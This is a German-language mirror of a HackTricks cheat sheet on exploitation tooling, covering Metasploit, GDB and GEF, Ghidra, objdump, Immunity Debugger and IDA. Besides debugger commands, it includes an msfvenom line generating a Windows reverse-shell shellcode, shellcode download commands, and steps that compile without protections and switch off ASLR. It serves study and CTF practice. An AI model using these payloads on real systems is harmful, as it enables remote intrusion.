mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
244 lines
11 KiB
Markdown
244 lines
11 KiB
Markdown
# Ausnutzungswerkzeuge
|
||
|
||
<details>
|
||
|
||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||
|
||
</details>
|
||
|
||
## Metasploit
|
||
```
|
||
pattern_create.rb -l 3000 #Length
|
||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||
nasm_shell.rb
|
||
nasm> jmp esp #Get opcodes
|
||
msfelfscan -j esi /opt/fusion/bin/level01
|
||
```
|
||
### Shellcodes
|
||
|
||
Ein Shellcode ist eine Reihe von Maschinenbefehlen, die speziell entwickelt wurden, um nach einem erfolgreichen Exploit ausgeführt zu werden. Diese Befehle werden häufig in Binärform geschrieben und können verwendet werden, um eine Remote-Shell auf einem verwundbaren System zu starten. Shellcodes sind ein wesentlicher Bestandteil vieler Exploits und werden häufig von Hackern verwendet, um die Kontrolle über ein System zu übernehmen.
|
||
```
|
||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||
```
|
||
## GDB
|
||
|
||
### Installation
|
||
|
||
### Installation
|
||
```
|
||
apt-get install gdb
|
||
```
|
||
### Parameter
|
||
|
||
---
|
||
|
||
### Parameter
|
||
```bash
|
||
-q # No show banner
|
||
-x <file> # Auto-execute GDB instructions from here
|
||
-p <pid> # Attach to process
|
||
```
|
||
### Anweisungen
|
||
```bash
|
||
run # Execute
|
||
start # Start and break in main
|
||
n/next/ni # Execute next instruction (no inside)
|
||
s/step/si # Execute next instruction
|
||
c/continue # Continue until next breakpoint
|
||
p system # Find the address of the system function
|
||
set $eip = 0x12345678 # Change value of $eip
|
||
help # Get help
|
||
quit # exit
|
||
|
||
# Disassemble
|
||
disassemble main # Disassemble the function called main
|
||
disassemble 0x12345678 # Disassemble taht address
|
||
set disassembly-flavor intel # Use intel syntax
|
||
set follow-fork-mode child/parent # Follow child/parent process
|
||
|
||
# Breakpoints
|
||
br func # Add breakpoint to function
|
||
br *func+23
|
||
br *0x12345678
|
||
del <NUM> # Delete that number of breakpoint
|
||
watch EXPRESSION # Break if the value changes
|
||
|
||
# info
|
||
info functions --> Info abount functions
|
||
info functions func --> Info of the funtion
|
||
info registers --> Value of the registers
|
||
bt # Backtrace Stack
|
||
bt full # Detailed stack
|
||
print variable
|
||
print 0x87654321 - 0x12345678 # Caculate
|
||
|
||
# x/examine
|
||
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||
x/o 0xDir_hex
|
||
x/2x $eip # 2Words from EIP
|
||
x/2x $eip -4 # $eip - 4
|
||
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||
i r eip # Value of $eip
|
||
x/w pointer # Value of the pointer
|
||
x/s pointer # String pointed by the pointer
|
||
x/xw &pointer # Address where the pointer is located
|
||
x/i $eip # Instructions of the EIP
|
||
```
|
||
### [GEF](https://github.com/hugsy/gef)
|
||
|
||
GEF (GDB Enhanced Features) ist ein GDB-Plug-In, das zusätzliche Funktionen und Verbesserungen für GDB bietet.
|
||
```bash
|
||
help memory # Get help on memory command
|
||
canary # Search for canary value in memory
|
||
checksec #Check protections
|
||
p system #Find system function address
|
||
search-pattern "/bin/sh" #Search in the process memory
|
||
vmmap #Get memory mappings
|
||
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||
got #Check got table
|
||
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||
|
||
# Vulns detection
|
||
format-string-helper #Detect insecure format strings
|
||
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||
|
||
#Patterns
|
||
pattern create 200 #Generate length 200 pattern
|
||
pattern search "avaaawaa" #Search for the offset of that substring
|
||
pattern search $rsp #Search the offset given the content of $rsp
|
||
|
||
#Shellcode
|
||
shellcode search x86 #Search shellcodes
|
||
shellcode get 61 #Download shellcode number 61
|
||
|
||
#Another way to get the offset of to the RIP
|
||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||
2- ef➤ i f
|
||
Stack level 0, frame at 0x7fffffffddd0:
|
||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||
called by frame at 0x7fffffffddd8
|
||
Arglist at 0x7fffffffdcf8, args:
|
||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||
Saved registers:
|
||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||
gef➤ pattern search 0x6261617762616176
|
||
[+] Searching for '0x6261617762616176'
|
||
[+] Found at offset 184 (little-endian search) likely
|
||
```
|
||
### Tricks
|
||
|
||
#### GDB gleiche Adressen
|
||
|
||
Beim Debuggen hat GDB **etwas andere Adressen als die, die vom Binärprogramm verwendet werden, wenn es ausgeführt wird.** Sie können GDB dazu bringen, die gleichen Adressen zu haben, indem Sie Folgendes tun:
|
||
|
||
* `unset env LINES`
|
||
* `unset env COLUMNS`
|
||
* `set env _=<Pfad>` _Geben Sie den absoluten Pfad zum Binärprogramm ein_
|
||
* Das Binärprogramm mit dem gleichen absoluten Pfad ausnutzen
|
||
* `PWD` und `OLDPWD` müssen gleich sein, wenn Sie GDB verwenden und das Binärprogramm ausnutzen
|
||
|
||
#### Backtrace, um aufgerufene Funktionen zu finden
|
||
|
||
Bei einem **statisch verknüpften Binärprogramm** gehören alle Funktionen zum Binärprogramm (und nicht zu externen Bibliotheken). In diesem Fall wird es schwierig sein, **den Ablauf zu identifizieren, dem das Binärprogramm folgt, um beispielsweise nach Benutzereingaben zu fragen**.\
|
||
Sie können diesen Ablauf leicht identifizieren, indem Sie das Binärprogramm mit **gdb** ausführen, bis Sie nach Eingaben gefragt werden. Stoppen Sie es dann mit **STRG+C** und verwenden Sie den Befehl **`bt`** (**Backtrace**), um die aufgerufenen Funktionen zu sehen:
|
||
```
|
||
gef➤ bt
|
||
#0 0x00000000004498ae in ?? ()
|
||
#1 0x0000000000400b90 in ?? ()
|
||
#2 0x0000000000400c1d in ?? ()
|
||
#3 0x00000000004011a9 in ?? ()
|
||
#4 0x0000000000400a5a in ?? ()
|
||
```
|
||
### GDB-Server
|
||
|
||
`gdbserver --multi 0.0.0.0:23947` (in IDA müssen Sie den absoluten Pfad der ausführbaren Datei auf der Linux-Maschine und auf der Windows-Maschine angeben)
|
||
|
||
## Ghidra
|
||
|
||
### Stack-Offset finden
|
||
|
||
**Ghidra** ist sehr nützlich, um den **Offset** für einen **Buffer Overflow zu finden, dank der Informationen über die Position der lokalen Variablen.**\
|
||
Zum Beispiel zeigt ein Buffer Overflow in `local_bc` im untenstehenden Beispiel an, dass Sie einen Offset von `0xbc` benötigen. Darüber hinaus, wenn `local_10` ein Canary-Cookie ist, zeigt dies an, dass es einen Offset von `0xac` gibt, um es von `local_bc` aus zu überschreiben.\
|
||
_Beachten Sie, dass die ersten 0x08, von wo aus der RIP gespeichert wird, dem RBP gehören._
|
||
|
||
.png>)
|
||
|
||
## GCC
|
||
|
||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompilieren ohne Schutzmaßnahmen\
|
||
**-o** --> Ausgabe\
|
||
**-g** --> Code speichern (GDB kann ihn sehen)\
|
||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> ASLR in Linux deaktivieren
|
||
|
||
**Um ein Shellcode zu kompilieren:**\
|
||
**nasm -f elf assembly.asm** --> gibt eine ".o"-Datei zurück\
|
||
**ld assembly.o -o shellcodeout** --> Ausführbar
|
||
|
||
## Objdump
|
||
|
||
**-d** --> **Disassemblieren** von ausführbaren Abschnitten (siehe Opcodes eines kompilierten Shellcodes, finden von ROP-Gadgets, finden von Funktionsadressen...)\
|
||
**-Mintel** --> **Intel**-Syntax\
|
||
**-t** --> **Symbol**-Tabelle\
|
||
**-D** --> **Alles disassemblieren** (Adresse einer statischen Variable)\
|
||
**-s -j .dtors** --> dtors-Abschnitt\
|
||
**-s -j .got** --> got-Abschnitt\
|
||
\-D -s -j .plt --> **plt**-Abschnitt **decompiliert**\
|
||
**-TR** --> **Relokationen**\
|
||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse von "puts" zum Ändern in GOT\
|
||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse einer statischen Variable (diese sind im DATA-Abschnitt gespeichert).
|
||
|
||
## Core-Dumps
|
||
|
||
1. Führen Sie `ulimit -c unlimited` aus, bevor Sie mein Programm starten
|
||
2. Führen Sie `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` aus
|
||
3. `sudo gdb --core=\<path/core> --quiet`
|
||
|
||
## Mehr
|
||
|
||
**ldd executable | grep libc.so.6** --> Adresse (bei ASLR ändert sich dies jedes Mal)\
|
||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Schleife, um zu sehen, ob sich die Adresse stark ändert\
|
||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset von "system"\
|
||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset von "/bin/sh"
|
||
|
||
**strace executable** --> Funktionen, die vom ausführbaren Programm aufgerufen werden\
|
||
**rabin2 -i ejecutable -->** Adresse aller Funktionen
|
||
|
||
## **Inmunity Debugger**
|
||
```bash
|
||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||
```
|
||
## IDA
|
||
|
||
### Debugging in Remote Linux
|
||
|
||
Innerhalb des IDA-Ordners finden Sie Binärdateien, die zum Debuggen einer Binärdatei in einem Linux verwendet werden können. Um dies zu tun, verschieben Sie die Binärdatei _linux\_server_ oder _linux\_server64_ in den Linux-Server und führen Sie sie im Ordner aus, der die Binärdatei enthält:
|
||
```
|
||
./linux_server64 -Ppass
|
||
```
|
||
Dann konfigurieren Sie den Debugger: Debugger (Linux Remote) --> Prozessoptionen...:
|
||
|
||
.png>)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||
|
||
</details>
|